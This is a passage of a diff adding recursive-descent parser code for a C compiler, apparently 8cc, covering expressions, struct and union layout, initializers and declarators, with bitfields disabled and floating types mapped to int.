*t = node->ty; + if (t->kind != KIND_PTR || t->ptr->kind != KIND_FUNC) + errort(tok, "function expected, but got %s", node2s(node)); + node = read_funcall(node); + continue; + } + if (next_token('[')) { + node = read_subscript_expr(node); + continue; + } + if (next_token('.')) { + node = read_struct_field(node); + continue; + } + if (next_token(OP_ARROW)) { + if (node->ty->kind != KIND_PTR) + error("pointer type expected, but got %s %s", + ty2s(node->ty), node2s(node)); + node = ast_uop(AST_DEREF, node->ty->ptr, node); + node = read_struct_field(node); + continue; + } + Token *tok = peek(); + if (next_token(OP_INC) || next_token(OP_DEC)) { + ensure_lvalue(node); + int op = is_keyword(tok, OP_INC) ? OP_POST_INC : OP_POST_DEC; + return ast_uop(op, node->ty, node); + } + return node; + } +} + +static Node *read_postfix_expr() { + Node *node = read_primary_expr(); + return read_postfix_expr_tail(node); +} + +static Node *read_unary_incdec(int op) { + Node *operand = read_unary_expr(); + operand = conv(operand); + ensure_lvalue(operand); + return ast_uop(op, operand->ty, operand); +} + +static Node *read_label_addr(Token *tok) { + // [GNU] Labels as values. You can get the address of the a label + // with unary "&&" operator followed by a label name. + Token *tok2 = get(); + if (tok2->kind != TIDENT) + errort(tok, "label name expected after &&, but got %s", tok2s(tok2)); + Node *r = ast_label_addr(tok2->sval); + vec_push(gotos, r); + return r; +} + +static Node *read_unary_addr() { + Node *operand = read_cast_expr(); + if (operand->kind == AST_FUNCDESG) + return conv(operand); + ensure_lvalue(operand); + return ast_uop(AST_ADDR, make_ptr_type(operand->ty), operand); +} + +static Node *read_unary_deref(Token *tok) { + Node *operand = conv(read_cast_expr()); + if (operand->ty->kind != KIND_PTR) + errort(tok, "pointer type expected, but got %s", node2s(operand)); + if (operand->ty->ptr->kind == KIND_FUNC) + return operand; + return ast_uop(AST_DEREF, operand->ty->ptr, operand); +} + +static Node *read_unary_minus() { + Node *expr = read_cast_expr(); + ensure_arithtype(expr); + if (is_inttype(expr->ty)) + return binop('-', conv(ast_inttype(expr->ty, 0)), conv(expr)); + return binop('-', ast_floattype(expr->ty, 0), expr); +} + +static Node *read_unary_bitnot(Token *tok) { + Node *expr = read_cast_expr(); + expr = conv(expr); + if (!is_inttype(expr->ty)) + errort(tok, "invalid use of ~: %s", node2s(expr)); + return ast_uop('~', expr->ty, expr); +} + +static Node *read_unary_lognot() { + Node *operand = read_cast_expr(); + operand = conv(operand); + return ast_uop('!', type_int, operand); +} + +static Node *read_unary_expr() { + Token *tok = get(); + if (tok->kind == TKEYWORD) { + switch (tok->id) { + case KSIZEOF: return read_sizeof_operand(); + case KALIGNOF: return read_alignof_operand(); + case OP_INC: return read_unary_incdec(OP_PRE_INC); + case OP_DEC: return read_unary_incdec(OP_PRE_DEC); + case OP_LOGAND: return read_label_addr(tok); + case '&': return read_unary_addr(); + case '*': return read_unary_deref(tok); + case '+': return read_cast_expr(); + case '-': return read_unary_minus(); + case '~': return read_unary_bitnot(tok); + case '!': return read_unary_lognot(); + } + } + unget_token(tok); + return read_postfix_expr(); +} + +static Node *read_compound_literal(Type *ty) { + char *name = make_label(); + Vector *init = read_decl_init(ty); + Node *r = ast_lvar(ty, name); + r->lvarinit = init; + return r; +} + +static Type *read_cast_type() { + return read_abstract_declarator(read_decl_spec(NULL)); +} + +static Node *read_cast_expr() { + Token *tok = get(); + if (is_keyword(tok, '(') && is_type(peek())) { + Type *ty = read_cast_type(); + expect(')'); + if (is_keyword(peek(), '{')) { + Node *node = read_compound_literal(ty); + return read_postfix_expr_tail(node); + } + return ast_uop(OP_CAST, ty, read_cast_expr()); + } + unget_token(tok); + return read_unary_expr(); +} + +static Node *read_multiplicative_expr() { + Node *node = read_cast_expr(); + for (;;) { + if (next_token('*')) node = binop('*', conv(node), conv(read_cast_expr())); + else if (next_token('/')) node = binop('/', conv(node), conv(read_cast_expr())); + else if (next_token('%')) node = binop('%', conv(node), conv(read_cast_expr())); + else return node; + } +} + +static Node *read_additive_expr() { + Node *node = read_multiplicative_expr(); + for (;;) { + if (next_token('+')) node = binop('+', conv(node), conv(read_multiplicative_expr())); + else if (next_token('-')) node = binop('-', conv(node), conv(read_multiplicative_expr())); + else return node; + } +} + +static Node *read_shift_expr() { + Node *node = read_additive_expr(); + for (;;) { + int op; + if (next_token(OP_SAL)) + op = OP_SAL; + else if (next_token(OP_SAR)) + op = node->ty->usig ? OP_SHR : OP_SAR; + else + break; + Node *right = read_additive_expr(); + ensure_inttype(node); + ensure_inttype(right); + node = ast_binop(node->ty, op, conv(node), conv(right)); + } + return node; +} + +static Node *read_relational_expr() { + Node *node = read_shift_expr(); + for (;;) { + if (next_token('<')) node = binop('<', conv(node), conv(read_shift_expr())); + else if (next_token('>')) node = binop('<', conv(read_shift_expr()), conv(node)); + else if (next_token(OP_LE)) node = binop(OP_LE, conv(node), conv(read_shift_expr())); + else if (next_token(OP_GE)) node = binop(OP_LE, conv(read_shift_expr()), conv(node)); + else return node; + node->ty = type_int; + } +} + +static Node *read_equality_expr() { + Node *node = read_relational_expr(); + Node *r; + if (next_token(OP_EQ)) { + r = binop(OP_EQ, conv(node), conv(read_equality_expr())); + } else if (next_token(OP_NE)) { + r = binop(OP_NE, conv(node), conv(read_equality_expr())); + } else { + return node; + } + r->ty = type_int; + return r; +} + +static Node *read_bitand_expr() { + Node *node = read_equality_expr(); + while (next_token('&')) + node = binop('&', conv(node), conv(read_equality_expr())); + return node; +} + +static Node *read_bitxor_expr() { + Node *node = read_bitand_expr(); + while (next_token('^')) + node = binop('^', conv(node), conv(read_bitand_expr())); + return node; +} + +static Node *read_bitor_expr() { + Node *node = read_bitxor_expr(); + while (next_token('|')) + node = binop('|', conv(node), conv(read_bitxor_expr())); + return node; +} + +static Node *read_logand_expr() { + Node *node = read_bitor_expr(); + while (next_token(OP_LOGAND)) + node = ast_binop(type_int, OP_LOGAND, node, read_bitor_expr()); + return node; +} + +static Node *read_logor_expr() { + Node *node = read_logand_expr(); + while (next_token(OP_LOGOR)) + node = ast_binop(type_int, OP_LOGOR, node, read_logand_expr()); + return node; +} + +static Node *do_read_conditional_expr(Node *cond) { + Node *then = conv(read_comma_expr()); + expect(':'); + Node *els = conv(read_conditional_expr()); + // [GNU] Omitting the middle operand is allowed. + Type *t = then ? then->ty : cond->ty; + Type *u = els->ty; + // C11 6.5.15p5: if both types are arithemtic type, the result + // type is the result of the usual arithmetic conversions. + if (is_arithtype(t) && is_arithtype(u)) { + Type *r = usual_arith_conv(t, u); + return ast_ternary(r, cond, (then ? wrap(r, then) : NULL), wrap(r, els)); + } + return ast_ternary(u, cond, then, els); +} + +static Node *read_conditional_expr() { + Node *cond = read_logor_expr(); + if (!next_token('?')) + return cond; + return do_read_conditional_expr(cond); +} + +static Node *read_assignment_expr() { + Node *node = read_logor_expr(); + Token *tok = get(); + if (!tok) + return node; + if (is_keyword(tok, '?')) + return do_read_conditional_expr(node); + int cop = get_compound_assign_op(tok); + if (is_keyword(tok, '=') || cop) { + Node *value = conv(read_assignment_expr()); + if (is_keyword(tok, '=') || cop) + ensure_lvalue(node); + Node *right = cop ? binop(cop, conv(node), value) : value; + if (is_arithtype(node->ty) && node->ty->kind != right->ty->kind) + right = ast_conv(node->ty, right); + return ast_binop(node->ty, '=', node, right); + } + unget_token(tok); + return node; +} + +static Node *read_comma_expr() { + Node *node = read_assignment_expr(); + while (next_token(',')) { + Node *expr = read_assignment_expr(); + node = ast_binop(expr->ty, ',', node, expr); + } + return node; +} + +Node *read_expr() { + Token *tok = peek(); + Node *r = read_comma_expr(); + if (!r) + errort(tok, "expression expected"); + return r; +} + +static Node *read_expr_opt() { + return read_comma_expr(); +} + +/* + * Struct or union + */ + +static Node *read_struct_field(Node *struc) { + if (struc->ty->kind != KIND_STRUCT) + error("struct expected, but got %s", node2s(struc)); + Token *name = get(); + if (name->kind != TIDENT) + error("field name expected, but got %s", tok2s(name)); + Type *field = dict_get(struc->ty->fields, name->sval); + if (!field) + error("struct has no such field: %s", tok2s(name)); + return ast_struct_ref(field, struc, name->sval); +} + +static char *read_rectype_tag() { + Token *tok = get(); + if (tok->kind == TIDENT) + return tok->sval; + unget_token(tok); + return NULL; +} + +static int compute_padding(int offset, int align) { + return (offset % align == 0) ? 0 : align - offset % align; +} + +static void squash_unnamed_struct(Dict *dict, Type *unnamed, int offset) { + Vector *keys = dict_keys(unnamed->fields); + for (int i = 0; i < vec_len(keys); i++) { + char *name = vec_get(keys, i); + Type *t = copy_type(dict_get(unnamed->fields, name)); + t->offset += offset; + dict_put(dict, name, t); + } +} + +static int read_bitsize(char *name, Type *ty) { + if (!is_inttype(ty)) + error("non-integer type cannot be a bitfield: %s", ty2s(ty)); + error("bitfield is not implemented: %s", ty2s(ty)); + Token *tok = peek(); + int r = read_intexpr(); + int maxsize = ty->kind == KIND_BOOL ? 1 : ty->size * 8; + if (r < 0 || maxsize < r) + errort(tok, "invalid bitfield size for %s: %d", ty2s(ty), r); + if (r == 0 && name != NULL) + errort(tok, "zero-width bitfield needs to be unnamed: %s", name); + return r; +} + +static Vector *read_rectype_fields_sub() { + Vector *r = make_vector(); + for (;;) { + if (next_token(KSTATIC_ASSERT)) { + read_static_assert(); + continue; + } + if (!is_type(peek())) + break; + Type *basetype = read_decl_spec(NULL); + if (basetype->kind == KIND_STRUCT && next_token(';')) { + vec_push(r, make_pair(NULL, basetype)); + continue; + } + for (;;) { + char *name = NULL; + Type *fieldtype = read_declarator(&name, basetype, NULL, DECL_PARAM_TYPEONLY); + ensure_not_void(fieldtype); + fieldtype = copy_type(fieldtype); + fieldtype->bitsize = next_token(':') ? read_bitsize(name, fieldtype) : -1; + vec_push(r, make_pair(name, fieldtype)); + if (next_token(',')) + continue; + if (is_keyword(peek(), '}')) + warnt(peek(), "missing ';' at the end of field list"); + else + expect(';'); + break; + } + } + expect('}'); + return r; +} + +static void fix_rectype_flexible_member(Vector *fields) { + for (int i = 0; i < vec_len(fields); i++) { + void **pair = vec_get(fields, i); + char *name = pair[0]; + Type *ty = pair[1]; + if (ty->kind != KIND_ARRAY) + continue; + if (ty->len == -1) { + if (i != vec_len(fields) - 1) + error("flexible member may only appear as the last member: %s %s", ty2s(ty), name); + if (vec_len(fields) == 1) + error("flexible member with no other fields: %s %s", ty2s(ty), name); + ty->len = 0; + ty->size = 0; + } + } +} + +static void finish_bitfield(int *off, int *bitoff) { + *off += (*bitoff + 7) / 8; + *bitoff = 0; +} + +static Dict *update_struct_offset(int *rsize, int *align, Vector *fields) { + int off = 0, bitoff = 0; + Dict *r = make_dict(); + for (int i = 0; i < vec_len(fields); i++) { + void **pair = vec_get(fields, i); + char *name = pair[0]; + Type *fieldtype = pair[1]; + // C11 6.7.2.1p14: Each member is aligned to its natural boundary. + // As a result the entire struct is aligned to the largest among its members. + // Unnamed fields will never be accessed, so they shouldn't be taken into account + // when calculating alignment. + if (name) + *align = MAX(*align, fieldtype->align); + + if (name == NULL && fieldtype->kind == KIND_STRUCT) { + // C11 6.7.2.1p13: Anonymous struct + finish_bitfield(&off, &bitoff); + off += compute_padding(off, fieldtype->align); + squash_unnamed_struct(r, fieldtype, off); + off += fieldtype->size; + continue; + } + if (fieldtype->bitsize == 0) { + // C11 6.7.2.1p12: The zero-size bit-field indicates the end of the + // current run of the bit-fields. + finish_bitfield(&off, &bitoff); + off += compute_padding(off, fieldtype->align); + bitoff = 0; + continue; + } + if (fieldtype->bitsize > 0 && fieldtype->bitsize != -1) { + int bit = fieldtype->size * 8; + int room = bit - (off * 8 + bitoff) % bit; + if (fieldtype->bitsize <= room) { + fieldtype->offset = off; + fieldtype->bitoff = bitoff; + } else { + finish_bitfield(&off, &bitoff); + off += compute_padding(off, fieldtype->align); + fieldtype->offset = off; + fieldtype->bitoff = 0; + } + bitoff += fieldtype->bitsize; + } else { + finish_bitfield(&off, &bitoff); + off += compute_padding(off, fieldtype->align); + fieldtype->offset = off; + off += fieldtype->size; + } + if (name) + dict_put(r, name, fieldtype); + } + finish_bitfield(&off, &bitoff); + *rsize = off + compute_padding(off, *align); + return r; +} + +static Dict *update_union_offset(int *rsize, int *align, Vector *fields) { + int maxsize = 0; + Dict *r = make_dict(); + for (int i = 0; i < vec_len(fields); i++) { + void **pair = vec_get(fields, i); + char *name = pair[0]; + Type *fieldtype = pair[1]; + maxsize = MAX(maxsize, fieldtype->size); + *align = MAX(*align, fieldtype->align); + if (name == NULL && fieldtype->kind == KIND_STRUCT) { + squash_unnamed_struct(r, fieldtype, 0); + continue; + } + fieldtype->offset = 0; + if (fieldtype->bitsize >= 0) + fieldtype->bitoff = 0; + if (name) + dict_put(r, name, fieldtype); + } + *rsize = maxsize + compute_padding(maxsize, *align); + return r; +} + +static Dict *read_rectype_fields(int *rsize, int *align, bool is_struct) { + if (!next_token('{')) + return NULL; + Vector *fields = read_rectype_fields_sub(); + fix_rectype_flexible_member(fields); + if (is_struct) + return update_struct_offset(rsize, align, fields); + return update_union_offset(rsize, align, fields); +} + +static Type *read_rectype_def(bool is_struct) { + char *tag = read_rectype_tag(); + Type *r; + if (tag) { + r = map_get(tags, tag); + if (r && (r->kind == KIND_ENUM || r->is_struct != is_struct)) + error("declarations of %s does not match", tag); + if (!r) { + r = make_rectype(is_struct); + map_put(tags, tag, r); + } + } else { + r = make_rectype(is_struct); + } + int size = 0, align = 1; + Dict *fields = read_rectype_fields(&size, &align, is_struct); + r->align = align; + if (fields) { + r->fields = fields; + r->size = size; + } + return r; +} + +static Type *read_struct_def() { + return read_rectype_def(true); +} + +static Type *read_union_def() { + return read_rectype_def(false); +} + +/* + * Enum + */ + +static Type *read_enum_def() { + char *tag = NULL; + Token *tok = get(); + + // Enum is handled as a synonym for int. We only check if the enum + // is declared. + if (tok->kind == TIDENT) { + tag = tok->sval; + tok = get(); + } + if (tag) { + Type *ty = map_get(tags, tag); + if (ty && ty->kind != KIND_ENUM) + errort(tok, "declarations of %s does not match", tag); + } + if (!is_keyword(tok, '{')) { + if (!tag || !map_get(tags, tag)) + errort(tok, "enum tag %s is not defined", tag); + unget_token(tok); + return type_int; + } + if (tag) + map_put(tags, tag, type_enum); + + int val = 0; + for (;;) { + tok = get(); + if (is_keyword(tok, '}')) + break; + if (tok->kind != TIDENT) + errort(tok, "identifier expected, but got %s", tok2s(tok)); + char *name = tok->sval; + + if (next_token('=')) + val = read_intexpr(); + Node *constval = ast_inttype(type_int, val++); + map_put(env(), name, constval); + if (next_token(',')) + continue; + if (next_token('}')) + break; + errort(peek(), "',' or '}' expected, but got %s", tok2s(peek())); + } + return type_int; +} + +/* + * Initializer + */ + +static void assign_string(Vector *inits, Type *ty, char *p, int off) { + if (ty->len == -1) + ty->len = ty->size = strlen(p) + 1; + int i = 0; + for (; i < ty->len && *p; i++) + vec_push(inits, ast_init(ast_inttype(type_char, *p++), type_char, off + i)); + for (; i < ty->len; i++) + vec_push(inits, ast_init(ast_inttype(type_char, 0), type_char, off + i)); +} + +static bool maybe_read_brace() { + return next_token('{'); +} + +static void maybe_skip_comma() { + next_token(','); +} + +static void skip_to_brace() { + for (;;) { + if (next_token('}')) + return; + if (next_token('.')) { + get(); + expect('='); + } + Token *tok = peek(); + Node *ignore = read_assignment_expr(); + if (!ignore) + return; + warnt(tok, "excessive initializer: %s", node2s(ignore)); + maybe_skip_comma(); + } +} + +static void read_initializer_elem(Vector *inits, Type *ty, int off, bool designated) { + next_token('='); + if (ty->kind == KIND_ARRAY || ty->kind == KIND_STRUCT) { + read_initializer_list(inits, ty, off, designated); + } else if (next_token('{')) { + read_initializer_elem(inits, ty, off, true); + expect('}'); + } else { + Node *expr = conv(read_assignment_expr()); + ensure_assignable(ty, expr->ty); + vec_push(inits, ast_init(expr, ty, off)); + } +} + +static int comp_init(const void *p, const void *q) { + int x = (*(Node **)p)->initoff; + int y = (*(Node **)q)->initoff; + if (x < y) return -1; + if (x > y) return 1; + return 0; +} + +static void sort_inits(Vector *inits) { + qsort(vec_body(inits), vec_len(inits), sizeof(void *), comp_init); +} + +static void read_struct_initializer_sub(Vector *inits, Type *ty, int off, bool designated) { + bool has_brace = maybe_read_brace(); + Vector *keys = dict_keys(ty->fields); + int i = 0; + for (;;) { + Token *tok = get(); + if (is_keyword(tok, '}')) { + if (!has_brace) + unget_token(tok); + return; + } + char *fieldname; + Type *fieldtype; + if ((is_keyword(tok, '.') || is_keyword(tok, '[')) && !has_brace && !designated) { + unget_token(tok); + return; + } + if (is_keyword(tok, '.')) { + tok = get(); + if (!tok || tok->kind != TIDENT) + errort(tok, "malformed desginated initializer: %s", tok2s(tok)); + fieldname = tok->sval; + fieldtype = dict_get(ty->fields, fieldname); + if (!fieldtype) + errort(tok, "field does not exist: %s", tok2s(tok)); + keys = dict_keys(ty->fields); + i = 0; + while (i < vec_len(keys)) { + char *s = vec_get(keys, i++); + if (strcmp(fieldname, s) == 0) + break; + } + designated = true; + } else { + unget_token(tok); + if (i == vec_len(keys)) + break; + fieldname = vec_get(keys, i++); + fieldtype = dict_get(ty->fields, fieldname); + } + read_initializer_elem(inits, fieldtype, off + fieldtype->offset, designated); + maybe_skip_comma(); + designated = false; + if (!ty->is_struct) + break; + } + if (has_brace) + skip_to_brace(); +} + +static void read_struct_initializer(Vector *inits, Type *ty, int off, bool designated) { + read_struct_initializer_sub(inits, ty, off, designated); + sort_inits(inits); +} + +static void read_array_initializer_sub(Vector *inits, Type *ty, int off, bool designated) { + bool has_brace = maybe_read_brace(); + bool flexible = (ty->len <= 0 || ty->len == -1); + int elemsize = ty->ptr->size; + int i; + for (i = 0; flexible || i < ty->len; i++) { + Token *tok = get(); + if (is_keyword(tok, '}')) { + if (!has_brace) + unget_token(tok); + goto finish; + } + if ((is_keyword(tok, '.') || is_keyword(tok, '[')) && !has_brace && !designated) { + unget_token(tok); + return; + } + if (is_keyword(tok, '[')) { + Token *tok = peek(); + int idx = read_intexpr(); + if (idx < 0 || (!flexible && ty->len <= idx)) + errort(tok, "array designator exceeds array bounds: %d", idx); + i = idx; + expect(']'); + designated = true; + } else { + unget_token(tok); + } + read_initializer_elem(inits, ty->ptr, off + elemsize * i, designated); + maybe_skip_comma(); + designated = false; + } + if (has_brace) + skip_to_brace(); + finish: + if (ty->len == -1) { + ty->len = i; + ty->size = elemsize * i; + } +} + +static void read_array_initializer(Vector *inits, Type *ty, int off, bool designated) { + read_array_initializer_sub(inits, ty, off, designated); + sort_inits(inits); +} + +static void read_initializer_list(Vector *inits, Type *ty, int off, bool designated) { + Token *tok = get(); + if (is_string(ty)) { + if (tok->kind == TSTRING) { + assign_string(inits, ty, tok->sval, off); + return; + } + if (is_keyword(tok, '{') && peek()->kind == TSTRING) { + tok = get(); + assign_string(inits, ty, tok->sval, off); + expect('}'); + return; + } + } + unget_token(tok); + if (ty->kind == KIND_ARRAY) { + read_array_initializer(inits, ty, off, designated); + } else if (ty->kind == KIND_STRUCT) { + read_struct_initializer(inits, ty, off, designated); + } else { + Type *arraytype = make_array_type(ty, 1); + read_array_initializer(inits, arraytype, off, designated); + } +} + +static Vector *read_decl_init(Type *ty) { + Vector *r = make_vector(); + if (is_keyword(peek(), '{') || is_string(ty)) { + read_initializer_list(r, ty, 0, false); + } else { + Node *init = conv(read_assignment_expr()); + if (is_arithtype(init->ty) && init->ty->kind != ty->kind) + init = ast_conv(ty, init); + vec_push(r, ast_init(init, ty, 0)); + } + return r; +} + +/* + * Declarator + * + * C's syntax for declaration is not only hard to read for humans but also + * hard to parse for hand-written parsers. Consider the following two cases: + * + * A: int *x; + * B: int *x(); + * + * A is of type pointer to int, but B is not a pointer type B is of type + * function returning a pointer to an integer. The meaning of the first half + * of the declaration ("int *" part) is different between them. + * + * In 8cc, delcarations are parsed by two functions: read_declarator + * and read_declarator_tail. The former function parses the first half of a + * declaration, and the latter parses the (possibly nonexistent) parentheses + * of a function or an array. + */ + +static Type *read_func_param(char **name, bool optional) { + int sclass = 0; + Type *basety = type_int; + if (is_type(peek())) { + basety = read_decl_spec(&sclass); + } else if (optional) { + errort(peek(), "type expected, but got %s", tok2s(peek())); + } + Type *ty = read_declarator(name, basety, NULL, optional ? DECL_PARAM_TYPEONLY : DECL_PARAM); + // C11 6.7.6.3p7: Array of T is adjusted to pointer to T + // in a function parameter list. + if (ty->kind == KIND_ARRAY) + return make_ptr_type(ty->ptr); + // C11 6.7.6.3p8: Function is adjusted to pointer to function + // in a function parameter list. + if (ty->kind == KIND_FUNC) + return make_ptr_type(ty); + return ty; +} + +// Reads an ANSI-style prototyped function parameter list. +static void read_declarator_params(Vector *types, Vector *vars, bool *ellipsis) { + bool typeonly = !vars; + *ellipsis = false; + for (;;) { + Token *tok = peek(); + if (next_token(KELLIPSIS)) { + if (vec_len(types) == 0) + errort(tok, "at least one parameter is required before \"...\""); + expect(')'); + *ellipsis = true; + return; + } + char *name; + Type *ty = read_func_param(&name, typeonly); + ensure_not_void(ty); + vec_push(types, ty); + if (!typeonly) + vec_push(vars, ast_lvar(ty, name)); + tok = get(); + if (is_keyword(tok, ')')) + return; + if (!is_keyword(tok, ',')) + errort(tok, "comma expected, but got %s", tok2s(tok)); + } +} + +// Reads a K&R-style un-prototyped function parameter list. +static void read_declarator_params_oldstyle(Vector *vars) { + for (;;) { + Token *tok = get(); + if (tok->kind != TIDENT) + errort(tok, "identifier expected, but got %s", tok2s(tok)); + vec_push(vars, ast_lvar(type_int, tok->sval)); + if (next_token(')')) + return; + if (!next_token(',')) + errort(tok, "comma expected, but got %s", tok2s(get())); + } +} + +static Type *read_func_param_list(Vector *paramvars, Type *rettype) { + // C11 6.7.6.3p10: A parameter list with just "void" specifies that + // the function has no parameters. + Token *tok = get(); + if (is_keyword(tok, KVOID) && next_token(')')) + return make_func_type(rettype, make_vector(), false, false); + + // C11 6.7.6.3p14: K&R-style un-prototyped declaration or + // function definition having no parameters. + // We return a type representing K&R-style declaration here. + // If this is actually part of a declartion, the type will be fixed later. + if (is_keyword(tok, ')')) + return make_func_type(rettype, make_vector(), true, true); + unget_token(tok); + + Token *tok2 = peek(); + if (next_token(KELLIPSIS)) + errort(tok2, "at least one parameter is required before \"...\""); + if (is_type(peek())) { + bool ellipsis; + Vector *paramtypes = make_vector(); + read_declarator_params(paramtypes, paramvars, &ellipsis); + return make_func_type(rettype, paramtypes, ellipsis, false); + } + if (!paramvars) + errort(tok, "invalid function definition"); + read_declarator_params_oldstyle(paramvars); + Vector *paramtypes = make_vector(); + for (int i = 0; i < vec_len(paramvars); i++) + vec_push(paramtypes, type_int); + return make_func_type(rettype, paramtypes, false, true); +} + +static Type *read_declarator_array(Type *basety) { + int len; + if (next_token(']')) { + len = -1; + } else { + len = read_intexpr(); + expect(']'); + } + Token *tok = peek(); + Type *t = read_declarator_tail(basety, NULL); + if (t->kind == KIND_FUNC) + errort(tok, "array of functions"); + return make_array_type(t, len); +} + +static Type *read_declarator_func(Type *basety, Vector *param) { + if (basety->kind == KIND_FUNC) + error("function returning a function"); + if (basety->kind == KIND_ARRAY) + error("function returning an array"); + return read_func_param_list(param, basety); +} + +static Type *read_declarator_tail(Type *basety, Vector *params) { + if (next_token('[')) + return read_declarator_array(basety); + if (next_token('(')) + return read_declarator_func(basety, params); + return basety; +} + +static void skip_type_qualifiers() { + while (next_token(KCONST) || next_token(KVOLATILE) || next_token(KRESTRICT)); +} + +// C11 6.7.6: Declarators +static Type *read_declarator(char **rname, Type *basety, Vector *params, int ctx) { + if (next_token('(')) { + // '(' is either beginning of grouping parentheses or of a function parameter list. + // If the next token is a type name, a parameter list must follow. + if (is_type(peek())) + return read_declarator_func(basety, params); + // If not, it's grouping. In that case we have to read from outside. + // For example, consider int (*)(), which is "pointer to function returning int". + // We have only read "int" so far. We don't want to pass "int" to + // a recursive call, or otherwise we would get "pointer to int". + // Here, we pass a dummy object to get "pointer to " first, + // continue reading to get "function returning int", and then combine them. + Type *stub = make_stub_type(); + Type *t = read_declarator(rname, stub, params, ctx); + expect(')'); + *stub = *read_declarator_tail(basety, params); + return t; + } + if (next_token('*')) { + skip_type_qualifiers(); + return read_declarator(rname, make_ptr_type(basety), params, ctx); + } + Token *tok = get(); + if (tok->kind == TIDENT) { + if (ctx == DECL_CAST) + errort(tok, "identifier is not expected, but got %s", tok2s(tok)); + *rname = tok->sval; + return read_declarator_tail(basety, params); + } + if (ctx == DECL_BODY || ctx == DECL_PARAM) + errort(tok, "identifier, ( or * are expected, but got %s", tok2s(tok)); + unget_token(tok); + return read_declarator_tail(basety, params); +} + +// C11 6.7.7: Type names +// read_abstract_declarator reads a type name. +// A type name is a declaration that omits the identifier. +// A few examples are int* (pointer to int), int() (function returning int), +// int*() (function returning pointer to int), +// or int(*)() (pointer to function returning int). Used for casting. +static Type *read_abstract_declarator(Type *basety) { + return read_declarator(NULL, basety, NULL, DECL_CAST); +} + +/* + * typeof() + */ + +static Type *read_typeof() { + expect('('); + Type *r = is_type(peek()) + ? read_cast_type() + : read_comma_expr()->ty; + expect(')'); + return r; +} + +/* + * Declaration specifier + */ + +static bool is_poweroftwo(int x) { + // If there's only one bit set in x, the value is a power of 2. + return (x <= 0) ? false : !(x & (x - 1)); +} + +static int read_alignas() { + // C11 6.7.5. Valid form of _Alignof is either _Alignas(type-name) or + // _Alignas(constant-expression). + expect('('); + int r = is_type(peek()) + ? read_cast_type()->align + : read_intexpr(); + expect(')'); + return r; +} + +static Type *read_decl_spec(int *rsclass) { + int sclass = 0; + Token *tok = peek(); + if (!is_type(tok)) + errort(tok, "type name expected, but got %s", tok2s(tok)); + + Type *usertype = NULL; + enum { kvoid = 1, kbool, kchar, kint, kfloat, kdouble } kind = 0; + enum { kshort = 1, klong, kllong } size = 0; + enum { ksigned = 1, kunsigned } sig = 0; + int align = -1; + + for (;;) { + tok = get(); + if (tok->kind == EOF) + error("premature end of input"); + if (kind == 0 && tok->kind == TIDENT && !usertype) { + Type *def = get_typedef(tok->sval); + if (def) { + if (usertype) goto err; + usertype = def; + goto errcheck; + } + } + if (tok->kind != TKEYWORD) { + unget_token(tok); + break; + } + switch (tok->id) { + case KTYPEDEF: if (sclass) goto err; sclass = S_TYPEDEF; break; + case KEXTERN: if (sclass) goto err; sclass = S_EXTERN; break; + case KSTATIC: if (sclass) goto err; sclass = S_STATIC; break; + case KAUTO: if (sclass) goto err; sclass = S_AUTO; break; + case KREGISTER: if (sclass) goto err; sclass = S_REGISTER; break; + case KCONST: break; + case KVOLATILE: break; + case KINLINE: break; + case KNORETURN: break; + case KVOID: if (kind) goto err; kind = kvoid; break; + case KBOOL: if (kind) goto err; kind = kbool; break; + case KCHAR: if (kind) goto err; kind = kchar; break; + case KINT: if (kind) goto err; kind = kint; break; + case KFLOAT: if (kind) goto err; kind = kfloat; break; + case KDOUBLE: if (kind) goto err; kind = kdouble; break; + case KSIGNED: if (sig) goto err; sig = ksigned; break; + case KUNSIGNED: if (sig) goto err; sig = kunsigned; break; + case KSHORT: if (size) goto err; size = kshort; break; + case KSTRUCT: if (usertype) goto err; usertype = read_struct_def(); break; + case KUNION: if (usertype) goto err; usertype = read_union_def(); break; + case KENUM: if (usertype) goto err; usertype = read_enum_def(); break; + case KALIGNAS: { + int val = read_alignas(); + if (val < 0) + errort(tok, "negative alignment: %d", val); + // C11 6.7.5p6: alignas(0) should have no effect. + if (val == 0) + break; + if (align == -1 || val < align) + align = val; + break; + } + case KLONG: { + if (size == 0) size = klong; + else if (size == klong) size = kllong; + else goto err; + break; + } + case KTYPEOF: { + if (usertype) goto err; + usertype = read_typeof(); + break; + } + default: + unget_token(tok); + goto done; + } + errcheck: + if (kind == kbool && (size != 0 && sig != 0)) + goto err; + if (size == kshort && (kind != 0 && kind != kint)) + goto err; + if (size == klong && (kind != 0 && kind != kint && kind != kdouble)) + goto err; + if (sig != 0 && (kind == kvoid || kind == kfloat || kind == kdouble)) + goto err; + if (usertype && (kind != 0 || size != 0 || sig != 0)) + goto err; + } + done: + if (rsclass) + *rsclass = sclass; + if (usertype) + return usertype; + if (align != -1 && !is_poweroftwo(align)) + errort(tok, "alignment must be power of 2, but got %d", align); + Type *ty; + switch (kind) { + case kvoid: ty = type_void; goto end; + case kbool: ty = make_numtype(KIND_BOOL, false); goto end; + case kchar: ty = make_numtype(KIND_CHAR, sig == kunsigned); goto end; +#if 0 + case kfloat: ty = make_numtype(KIND_FLOAT, false); goto end; + case kdouble: ty = make_numtype(size == klong ? KIND_LDOUBLE : KIND_DOUBLE, false); goto end; +#else + case kfloat: ty = make_numtype(KIND_INT, false); goto end; + case kdouble: ty = make_numtype(KIND_INT, false); goto end; +#endif + default: break; + } + switch (size) { + case kshort: ty = make_numtype(KIND_SHORT, sig == kunsigned); goto end; + case klong: ty = make_numtype(KIND_LONG, sig == kunsigned); goto end; + case kllong: ty = make_numtype(KIND_LLONG, sig == kunsigned); goto end; + default: ty = make_numtype(KIND_INT, sig == kunsigned); goto end; + } + error("internal error: kind: %d, size: %d", kind, size); + end: + if (align != -1) + ty->align = align; + return ty; + err: + errort(tok, "type mismatch: %s", tok2s(tok)); +} + +/* + * Declaration + */ + +static void read_static_local_var(Type *ty, char *name) { + Node *var = ast_static_lvar(ty, name); + Vector *init = NULL; + if (next_token('=')) { + Map *orig = localenv; + localenv = NULL; + init = read_decl_init(ty); + localenv = orig; + } + vec_push(toplevels, ast_decl(var, init)); +} + +static Type *read_decl_spec_opt(int *sclass) { + if (is_type(peek())) + return read_decl_spec(sclass); + warnt(peek(), "type specifier missing, assuming int"); + return type_int; +} + +static void read_decl(Vector *block, bool isglobal) { + int sclass = 0; + Type *basetype = read_decl_spec_opt(&sclass); + if (next_token(';')) + return; + for (;;) { + char *name = NULL; + Type *ty = read_declarator(&name, copy_incomplete_type(basetype), NULL, DECL_BODY); + ty->isstatic = (sclass == S_STATIC); + if (sclass == S_TYPEDEF) { + 